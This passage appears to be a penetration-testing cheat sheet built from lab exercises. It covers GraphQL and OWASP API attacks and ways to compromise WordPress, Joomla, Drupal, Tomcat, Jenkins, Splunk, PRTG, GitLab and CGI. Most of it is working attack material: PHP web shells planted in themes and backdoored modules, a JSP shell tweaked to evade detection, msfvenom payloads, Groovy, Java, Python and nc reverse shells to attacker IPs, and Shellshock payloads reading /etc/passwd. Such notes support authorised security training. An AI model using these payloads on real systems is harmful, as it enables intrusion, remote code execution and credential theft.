}
}
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
}
}
}
}
+ Say we found the Mutation named Register_User :
2/ Now let s query all field for that Object :
{
__type(name: "RegisterUserInput") {
name
inputFields {
name
description
defaultValue
}
}
}
+ Now Say we found the fields username, password , role .
+ And we already know from earlier that passwords are MD5 format .
3/ We can abuse this and use this mutation to add a new account with role admin as well.
echo -n 'password' | md5sum
5f4dcc3b5aa765d61d8327deb882cf99 -
mutation {
registerUser(input: {username: "vautia", password: "5f4dcc3b5aa765d61d8327deb882cf99", role: "admin", msg: "newUser"}) {
user {
username
password
msg
role
}
}
}
+ Just like that we used Mutations to create a new admin user .
Tools For Pentesting GraphQL :
1
2
3
4
5
6
7
8
9
==> GraphW00F : https://github.com/dolevf/graphw00f
==> GraphQl Voyager : https://github.com/APIs-guru/graphql-voyager
==> GraphQL-Cop : Automate the exploitation for GraphQL .
python3 graphql-cop/graphql-cop.py -t http://172.17.0.2/graphql
==> InQL : https://github.com/doyensec/inql
Burp extension that allows us to deal with graphql :
+ Easy formatting of the request .
+ Introspection Query .
Right click the requets ==> InQL - GraphQL Scanner ==> Generate queries with InQL
API Attacks :
Broken Object Level Authorization :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
==> Just like we did in the IDOR Section , we re looking for a way to get information
about users that we re not supposed to , whether it be by modifying an ID , UID , md5 value ....
+ Say we login as our user and we get a JWT , the JWT is for a specific Role .
+ Now we can use the function that is made for our Role .
+ Now let s say we find that the request looks something like this :
curl -s -w "\n" -X 'GET' \
'http://94.237.49.212:43104/api/v1/supplier-companies/yearly-reports/126' \
-H 'accept: application/json' \
-H 'Authorization: Bearer eyJhbGciOiJIUzUxMiIsInR5cC.....'
+ We see that there is a 126 specific to our user , IMMEDIATELY we should try and change it to see if we can access other users.
+ Now for This either Burp or FFUF will be fine to brute force for other IDs (FFUF is always waaaay faster of course) .
seq 1 10000 > Numbers
FFUF -u 'http://94.237.49.212:43104/api/v1/supplier-companies/yearly-reports/126 \
-H 'accept: application/json' \
-H 'Authorization: Bearer eyJhbGciOiJIUzUxMiIsInR5cC.....'\
-w Numbers
+ Finally just Filter the responses to see if you get a valid one .
Broken Authentication :
1
2
3
4
5
6
7
8
9
10
11
12
13
==> Here we can check for multiple things like Password Policy for example .
==> Whether we can Brute force a user without rate limiting .
==> Whether the Response from a valid username is different than unvalid username as this can lead to username enumeration .
==> Whether we can brute force the OTP (Check Brute Force section) .
Eg :
curl -u http://94.237.59.63:31874/api/v1/authentication/customers/sign-in
-X POST
-H "Content-Type: application/json"
-d '{"Email": "EMAIL", "Password": "PASS"}'
Errors return : "Invalid Credentials"
==> We can easily Brute force Login page since there is no rate limiting and filter it based on that response .
==> Should be very easy since password policy is weak and no rate limiting in place .
Broken Object Property Level :
1
2
3
4
5
6
7
8
9
10
11
12
==> It contains both : Excessive Data Exposure / Mass Assignment .
==> Excessive Data Exposure :
+ Check Endpoints If they return some sensitive information Eg : email , phone , passwords...
+ Check if we get UID or ID for other Roles , users , companies , ... which can be used for other attacks .
==> Mass Assignment :
+ Check if the request contain some specific information about the application logic .
+ For example a parameter like isExemptedFromMarketplaceFee, Is_admin_true , ... parameters that should be hidden so that the attacker doesnt rlly know the syntax to be able to modify .
+ If we can modify those parameters and get a different response then we have a Mass Assignment Vulnerability .
Unrestricted Resource Consumption :
1
2
3
4
5
6
7
8
9
10
==> If we can upload a Large file then call it each time with no rate limiting , this could lead to DOS .
+ Let's say the application doesnt check the size of the uploaded file .
dd if=/dev/urandom of=certificateOfIncorporation.pdf bs=1M count=30
Now this generate a pdf file with 30MB that we can try and upload .
+ We can also check for other extensions like exe , php , which can lead to RCE , check the File Upload section to bypass basic checks .
dd if=/dev/urandom of=reverse-shell.exe bs=1M count=10
+ Now if we know the default location where uploaded files are located , we can abuse this to keep downloading large Files that we uploaded to the server which will cause DOS .
curl -O http://IP:51135/SupplierCompanies/reverse-shell.exe
Broken Function Level Authorization :
1
2
3
4
5
6
7
8
9
10
==> This time our user s role is not even allowed to access the endpoint , but somehow he does.
+ In BOLA , user is allowed to access the endpoint but can also access it as other users.
+ In BFLA , it's different , our user isnt supposed to access it at all .
==> How to test for this ?
To test this we can either use the user JWT to access some endpoints that are designed for other roles .
Access Admin Endpoints then use Burp to modify the JWT to one of another role and see if you can access it still .
Check certain Actions like DELETE UPDATE ,that are usually made for admins or other roles but use the JWT of the other Role .
Check Every Endpoint since one of them might not have role based access control check .
Server Side Request Forgery :
1
2
3
4
5
6
7
8
==> Say one of the Endpoints fetch data from an external URL , or even a local one .
Eg : In the Request Body we find :
fileURI : "file:///app/webroot/Documents_For_HR/Salary.pdf"
We can try other files that are read only by every user likes : /etc/passwd
fileURI : "file:///etc/passwd"
==> Check SSRF section for more detail about how to exploit it once we identify it .
Security Misconfiguration :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
==> Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
+ This is basically taking the user input and just passing it to the SQL query
+ Without Any Validation whatsoever .
+ Just like with a traditional web app .
Eg :
+ We query the Product , for Phone , we get 10 Results .
+ If we search for Phone' and it returns an error it means it passed it like that . '
+ Another check is to do Phone'OR 1=1 -- : If this returns all product it s a clear SQLi.
==> HTTP Headers :
+ We must Verify every endpoint for the presence of Security Headers in the response .
+ Headers Like Access-Control-Allow-Origin header
Is it set to * or reflecting arbitrary origins?
If credentials are included → critical severity
Test with: Origin: https://our_server.com in request
+ And other Headers like HTTP Only for XSS , and much more that can be found here :
https://securityheaders.com/
Improper Inventory Management :
1
2
3
4
==> Look for Deprecated API Endpoints , whether by Brute forcing or via the Documentation
+ Check for api/v0 , api/v1 ,api/beta , api/legacy depending on the naming convention .
+ Most of the times Developers ship but keep the old Versions of API as well for backward compatibility
+ So it is always recommended to test those older versions as well .
Unsafe Consumption of APIs :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
==> Here we re not really attacking the application but the Trust between the application and Third Party applications .
1/ Find Third Party Integration :
Look for features like:
Payments, OAuth login, SMS, Maps, Currency conversion
Check JS files and network traffic for third-party domains
2/ Test based on the Flow :
+ Your Input → App → Third-party → Response → Displayed to you
Try XSS / SQLi payloads in that input
+ If the Application has a WebHook URL :
1. Use Burp Collaborator or interactsh as your server
2. Register it as the callback
3. Send malicious payloads in your response
4. See if the app processes them blindly
3/ If you can trigger repeated third-party calls:
Send many requests → check for rate limiting or error leakage
4/ Check transmission:
Look for http:// (not https) calls to third-party APIs in JS files
Attacking Common Application :
1
2
3
4
5
6
7
8
9
==> Some Common Application that we might encounter :
+ Wordpress
+ Drupal
+ Joomla
+ Tomcat
+ Jenkins
+ Splunk
+ PRTGT Network Monitor
+ GitLab
Mass Discovery :
1
2
3
4
5
6
7
8
9
10
==> First We need to organize our targets in a file , let s call it target.txt
==> Next We scan all common web Ports , make sure output is in XML format (-oA) :
sudo nmap -p 80,443,8000,8080,8180,8888,10000 --open -oA web_discovery -iL target.txt
==> Now let's use Eyewitness to visit all these targets and give screenshots :
sudo apt install eyewitness
eyewitness --web -x web_discovery.xml -d targets_eyewitness
+ Now we just open the file targets_eyewitness and it will have screenshots for all those targets
+ It will even rank them from High Value , CMS , Unauthorized ....
Wordpress :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
==> Enumeration : We're mainly looking for Version for themes , plugins , Users as well.
+ Wordpress + Themese + Plugins .
curl -s http://blog.inlanefreight.local | grep WordPress
<meta name="generator" content="WordPress 5.8" /
curl -s http://blog.inlanefreight.local/ | grep themes
curl -s http://blog.inlanefreight.local/ | grep plugins
curl -s http://blog.inlanefreight.local/?p=1 | grep plugins
+ Enumerating Users :
// Either we can do it manually , by filtering the response .
// (WP will return different response if username is valid) .
// Or just Use Wpscan :
sudo gem install wpscan
sudo wpscan --url http://blog.inlanefreight.local --enumerate --api-token dEOFB<SNIP>
==> Attacking WP :
+ Password Brute Force : Via XMLRPC (fastest way)
sudo wpscan --password-attack xmlrpc -t 20 -U admin -P /usr/share/wordlists/rockyou.txt --url http://blog.local
==> RCE :
// Manually :
+ Once we can login as an admin , we can modify the themes , go to theme editor :
+ Modify 404.php for the used theme for example to add this php one liner :
system($_GET[0]);
+ Usually Themes are stored here : /wp-content/themes/<theme name>
curl http://blog.inlanefreight.local/wp-content/themes/twentynineteen/404.php?0=id
+ Of course we can use any theme we can modify .
// Auto : Use metasploit :)
msf6 > use exploit/unix/webapp/wp_admin_shell_upload
==> Known Vulns :
Vulnerable Plugin : Mail Masta : LFI and SQLi vuln :
https://www.exploit-db.com/exploits/41438
https://www.exploit-db.com/exploits/50226
curl -s http://blog.inlanefreight.local/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd
Vulnerable Plugin : wpDiscuz :
https://www.exploit-db.com/exploits/49967
python3 wp_discuz.py -u http://blog.inlanefreight.local -p /?p=1
Joomla :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
==> Enumeration : Same as with Wordpress :
+ Manual :
curl -s http://dev.inlanefreight.local/ | grep Joomla
Check robots.txt
curl -s http://dev.inlanefreight.local/README.txt | head -n 5
curl -s http://dev.inlanefreight.local/administrator/manifests/files/joomla.xml | xmllint --format -
+ Automated :
sudo pip3 install droopescan
droopescan scan joomla --url http://dev.inlanefreight.local
python2.7 joomlascan.py -u http://dev.inlanefreight.local
sudo python3 joomla-brute.py -u http://dev.inlanefreight.local -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
# Recent One :
sudo apt install joomscan
joomscan -u http://$target
==> Attacking Joomla :
+ Say we brute forced the login and got admin access , we can go to :
http://dev.inlanefreight.local/administrator
+ Then we just modify a template just like with WP :
+ Go to Templates then protostar then modify the error.php to add this one liner :
system($_GET['AAAAAA']);
+ Then a simple curl will trigger it :
curl -s http://dev.inlanefreight.local/templates/protostar/error.php?AAAAAA=id
==> Known Vulnerability :
Joomla 3.9.4 was vulnerable to a Path traversal Attack .
https://www.exploit-db.com/exploits/46710
python2.7 joomla_dir_trav.py --url "http://dev.inlanefreight.local/administrator/" --username admin --password admin --dir /
Drupal :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
==> Enumeration :
+ Manual :
curl -s http://drupal.inlanefreight.local | grep Drupal
curl -s http://drupal-acc.inlanefreight.local/CHANGELOG.txt | grep -m2 "" : Version
Drupal 7.57, 2018-02-21
curl -s http://drupal.inlanefreight.local/CHANGELOG.txt
+ Automated :
droopescan scan drupal -u http://drupal.inlanefreight.local
==> Attacking Drupal :
+ Before Drupal 8 it was possible to login as admin and enable php filters :
+ Once we enable , we can simply create a new page with php code :
<?php
system($_GET['AAAAAA']);
?>
+ Finally save it as PHP code , Once it s saved we will be redirected to that new page.
+ We can now curl it and execute the command we want .
curl -s http://drupal-qa.inlanefreight.local/node/3?AAAAAA=id | grep uid | cut -f4 -d">"
+ After Drupal 8 , we now need to install the PHP Filter module .
wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
+ Go to Administration > Reports > Available updates .
+ Then we can do the same thing we did earlier .
==> Upload a BackDoored Module :
+ We insall Capatcha module for example : https://www.drupal.org/project/captcha .
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
+ We create a php web shell :
<?php
system($_GET['AAAAAA']);
?>
+ Create a .htaccess to give ourselves access to our module (since Drupal doesnt allow that by default)
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
+ Move everything to the same folder and archive it :
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
+ Now we go : Manage => Extend => Install New Module => Install the new Module
curl -s drupal.inlanefreight.local/modules/captcha/shell.php?AAAAAA=id
==> Known Vulnerabilities :
1 / Drupalgeddon :
https://www.exploit-db.com/exploits/34992
python2.7 drupalgeddon.py -t http://drupal-qa.inlanefreight.local -u admin -p password
2/ Drupalgeddon2 :
https://www.exploit-db.com/exploits/44448
##############################
python3 drupalgeddon2.py
Enter target url (example: https://domain.ltd/): http://drupal-dev.inlanefreight.local/
Check: http://drupal-dev.inlanefreight.local/hello.txt
############################## Verify that it was uploaded :
curl -s http://drupal-dev.inlanefreight.local/hello.txt
;-)
############################## RCE :
echo '<?php system($_GET[AAAAAAA]);?>' | base64
+ Now just upload the file containing the Base64 value and interact with the webshell
curl http://drupal-dev.inlanefreight.local/shell.php?AAAAAA=id
3/ Drupalgeddon3 :
https://github.com/rithchard/Drupalgeddon3
+ Authenticated RCE , we just need to login and get the Cookie .
+ Then we just use the Metasploit Exploit for this :
msf6 exploit(multi/http/drupal_drupageddon3)>
msf6 exploit(multi/http/drupal_drupageddon3) > set rhosts 10.129.42.195
msf6 exploit(multi/http/drupal_drupageddon3) > set VHOST drupal-acc.inlanefreight.local
msf6 exploit(multi/http/drupal_drupageddon3) > set drupal_session SESS45ecfcb93a827c3e578eae161f280548=jaAPbanr2KhLkLJwo69t0UOkn2505tXCaEdu33ULV2Y
msf6 exploit(multi/http/drupal_drupageddon3) > set DRUPAL_NODE 1
....
Tomcat :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
==> General Information :
+ Default Config :
├── bin
├── conf
│ ├── catalina.policy
│ ├── catalina.properties
│ ├── context.xml
│ ├── tomcat-users.xml
│ ├── tomcat-users.xsd
│ └── web.xml
├── lib
├── logs
├── temp
├── webapps
│ ├── manager
│ │ ├── images
│ │ ├── META-INF
│ │ └── WEB-INF
| | └── web.xml
│ └── ROOT
│ └── WEB-INF
└── work
└── Catalina
└── localhost
Each Webapps is supposed to look like this :
webapps/customapp
├── images
├── index.jsp
├── META-INF
│ └── context.xml
├── status.xsd
└── WEB-INF
├── jsp
| └── admin.jsp
└── web.xml
└── lib
| └── jdbc_drivers.jar
└── classes
└── AdminServlet.class
+ Most Important file for us is the WEB-INF/web.xml , it is the deployment descriptor
==> Enumeration :
+ Searching for /manager and the /host-manager pages .
gobuster dir -u http://web01.inlanefreight.local:8180/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
+ Always Try default Credentials , tomcat:tomcat, admin:admin ....
==> Attacking Tomcat :
+ Enumerating Users :
auxiliary/scanner/http/tomcat_mgr_login
https://github.com/b33lz3bub-1/Tomcat-Manager-Bruteforce
python3 mgr_brute.py -U http://web01.inlanefreight.local:8180/ -P /manager -u /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt -p /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt
==> WAR Upload :
+ If we got valid Creds , we can login and upload a WAR File which will give us a reverse shell .
// Web Shell :
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
+ Just Deploy => Select our backup.war , simple .
curl http://web01.inlanefreight.local:8180/backup/cmd.jsp?cmd=id
// Reverse Shell :
msfvenom -p java/jsp_shell_reverse_tcp LHOST=Our_IP LPORT=4443 -f war > backup.war
nc -lnvp 4443
+ Navigate to the /backup to execute it .
// Undetected JSP Shell : Very light it goes undetected .
https://github.com/SecurityRiskAdvisors/cmd.jsp
+ You can modify it to make sure it's more undetected , just changes like these are enough:
FileOutputStream(f);stream.write(m);o="Uploaded:"
to:
FileOutputStream(f);stream.write(m);o="uPlOaDeD:
==> Automated : Use Metasploit again :)
https://github.com/SecurityRiskAdvisors/cmd.jsp
==> Known Vulnerability : Ghostcat :
+ Here is a POC :
https://web.archive.org/web/20260130182638/https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
python2.7 tomcat-ajp.lfi.py app-dev.inlanefreight.local -p 8009 -f WEB-INF/web.xml
Jenkins :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
==> Enumeration :
+ Usually it will look something like this :
http://jenkins.inlanefreight.local:8000/login?from=%2F
+ Always try default Credentials , you never know .
==> Attacking Jenkins :
+ If we can Login to the Jenkins , we can use the Script Console to get RCE using Groovy :
def cmd = 'id'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println sout
// This one as well for Reverse Shell :
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.14.15/8443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
// Using Metasploit :
https://web.archive.org/web/20230326230234/https://www.rapid7.com/db/modules/exploit/multi/http/jenkins_script_console/
// Reverse Shell On a Windows machine :
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
+ Of course make sure you set up your listener :)
+ rlwrap will work better when it comes to Windows Reverse Shells :)
Splunk :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
==> Enumeration :
+ Splunkd httpd service usually runs on port 8000 and port 8089,
+ Older Versions of Splunk might still be using default creds : admin:changeme
+ Free tier Splunk doesnt have Authentication so if we find an old forgotten splunk service running , that could move to Free trial hence the No authentication .
+ There are a lot of ways to run code on splunk :
+ by creating a custom application to run Python, Batch, Bash, or PowerShell scripts.
==> Attacking Splunk :
https://github.com/0xjpuff/reverse_shell_splunk/tree/master/reverse_shell_splunk/bin
+ The bin folder inside the repo has a PS and python reverse shell
+ It also contains the bat file that will run our PowerShell reverse shell
+ The default folder will have the inputs.conf which tells splunk what script to run and when .
==> Splunk on Windows :
Eg : We will be using the PS reverse shell from the Repo :
##############################################
#A simple and small reverse shell. Options and help removed to save space.
#Uncomment and change the hardcoded IP address and port number in the below line. Remove all help comments as well.
$client = New-Object System.Net.....
############################################w
+ Now for the inputs.conf :
[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
+ Now we just modify the PowerShell script , add our IP address and zip everything :
tar -cvzf updater.tar.gz splunk_shell/
+ Finally we just Install it as a Package :
we just do Install app from file => Upload app => choose the tarball we created /
+ But before set up the Listener :
sudo nc -lnvp 443
==> Splunk on Linux :
+ For this one , we will use the python reverse shell .
#####################
import sys,socket,os,pty
ip="Our_IP"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
#######################
+ Now we do the same thing , we tar everything , we set up the listener and and we upload it .
PRTG Network Monitor :
1
2
3
4
5
6
7
8
9
10
11
12
13
==> Enumeration :
+ Simple nmap scan will reveal it :
Indy httpd 17.3.33.2830 (Paessler PRTG bandwidth monitor)
+ Default Creds are : prtgadmin:prtgadmin
+ Try brute forcing the login .
+ Versions Prior to 18.2.39 are vulnerable to an authenticated Command Injection .
==> Once Logged in , we can check if the version is vulnerable .
https://codewatch.org/2018/06/25/prtg-18-2-39-command-injection-vulnerability/
+ This Blog explains in details how to exploit it
+ We're using the command injection to crete a task which is adding our user to that machine or resetting the admin password .
Gitlab :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
==> Enumeration :
+ The only way to know the Gitlab version used is by /help when we re logged in .
+ We can try enumerating users in case Gitlab allowed us to register an account.
+ If we re not logged in and we dont have the version there isn't much to do
+ Try navigating to /explore , maybe there are some projects there that are public .
+ Maybe we find something useful in those projects , Groups , see if we get any names.
+ Brute forcing the usernames in case there was no rate limiting .
Eg :
we try root and we get : 1 error prohibited this user from being saved: Email has already been taken
+ Well we can easily FUZZ for other users if there is no rate limiting .
+ Ofc once we're logged in there is so much we can extract .
==> Attacking Gitlab :
+ Enumerating Users :
./gitlab_userenum.sh --url http://gitlab.inlanefreight.local:8081/ --userlist users.txt
+ Authenticated RCE :
+ GitLab Community Edition version 13.10.2 and lower suffered from an authenticated RCE .
https://www.exploit-db.com/exploits/49951
python3 gitlab_13_10_2_rce.py -t http://gitlab.inlanefreight.local:8081 -u Admin -p password1 -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.15 8443 >/tmp/f '
nc -lnvp 8443
Tomcat CGI :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
==> CGI allows the web server to communicate with external applications
+ These external apps are typically CGI scripts written in different languages .
==> Enumeration :
+ First we need to find the cgi script , we already know /cgi is the default directory.
ffuf -w /usr/share/dirb/wordlists/common.txt -u http://10.129.204.227:8080/cgi/FUZZ.cmd
ffuf -w /usr/share/dirb/wordlists/common.txt -u http://10.129.204.227:8080/cgi/FUZZ.bat
==> Exploitation :
+ We can abuse the CVE-2019-0232 if the version is vulnerable (it s a command injection basically)
+ Supppose we find the screipt is located at : /cgi/welcome.bat
http://10.129.204.227:8080/cgi/welcome.bat?&dir
http://10.129.204.227:8080/cgi/welcome.bat?&c%3A%5Cwindows%5Csystem32%5Cwhoami.exe
+ Always make sure to URL encode the entire URL .
==> Attacking CGI : Shellshock :
We can try to inject this in the Header to see if it s vulnerable :
$ env y='() { :;}; echo vulnerable-shellshock' bash -c "echo not vulnerable"
1/ Find the CGI script location :
gobuster dir -u http://10.129.204.231/cgi-bin/ -w /usr/share/wordlists/dirb/small.txt -x cgi
curl -i http://10.129.204.231/cgi-bin/access.cgi
2/ Inject the payload inside the User Agent Header :
curl -H 'User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd' bash -s :'' http://10.129.204.231/cgi-bin/access.cgi
3/ Reverse Shell via Shellshock :
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.14.38/7777 0>&1' http://10.129.204.231/cgi-bin/access.cgi
nc -lnvp 7777